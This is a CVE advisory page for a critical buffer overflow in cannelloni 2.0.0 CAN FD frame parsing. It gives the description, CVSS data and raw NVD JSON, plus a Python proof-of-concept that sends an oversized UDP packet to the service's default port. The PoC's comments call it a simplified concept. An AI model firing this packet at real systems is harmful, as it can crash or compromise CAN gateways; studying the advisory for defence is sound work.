Security Vulnerability Report
中文
CVE-2026-37539 CVSS 9.8 CRITICAL

CVE-2026-37539

Published: 2026-05-01 17:16:24
Last Modified: 2026-05-05 20:24:05

Description

Buffer overflow vulnerability in cannelloni v2.0.0 in CAN frame parsing in parser.cpp in function parseCANFrame, and decoder.cpp in function decodeFrame allowing remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via crafted CAN FD frames.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

cannelloni 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target IP and Port (Default cannelloni port) TARGET_IP = "192.168.1.100" TARGET_PORT = 20000 def create_malicious_packet(): # Cannelloni protocol header simulation # This payload attempts to trigger the overflow in parseCANFrame/decodeFrame # by sending a CAN FD frame with a length exceeding the expected buffer. # CAN ID (Standard 11-bit) can_id = 0x123 # Malicious length field (e.g., claiming 64 bytes where buffer might be smaller) # Crafting a CAN FD frame header # Note: Actual protocol details may vary, this represents the concept of overflow payload = b"" # Initialize payload # Construct header (simplified for PoC concept) # cmd = 0x01 (DATA), flags, seq_no, count header = struct.pack("!BBHI", 0x01, 0x00, 0, 1) # CAN Frame Header (ID + Flags + DLC) # Setting FD flag and a large DLC can_header = struct.pack("!IB", can_id, 0x08 | 0x04) # 0x04 for FD flag, 0x08 length # Buffer overflow trigger: data larger than allocated size overflow_data = b"A" * 1000 # Sending 1000 bytes to trigger overflow return header + can_header + overflow_data try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malicious_packet() sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print(f"[+] Malicious packet sent to {TARGET_IP}:{TARGET_PORT}") sock.close() except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37539", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:23.803", "lastModified": "2026-05-05T20:24:04.853", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow vulnerability in cannelloni v2.0.0 in CAN frame parsing in parser.cpp in function parseCANFrame, and decoder.cpp in function decodeFrame allowing remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via crafted CAN FD frames."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/mguentner/cannelloni", "source": "[email protected]"}]}}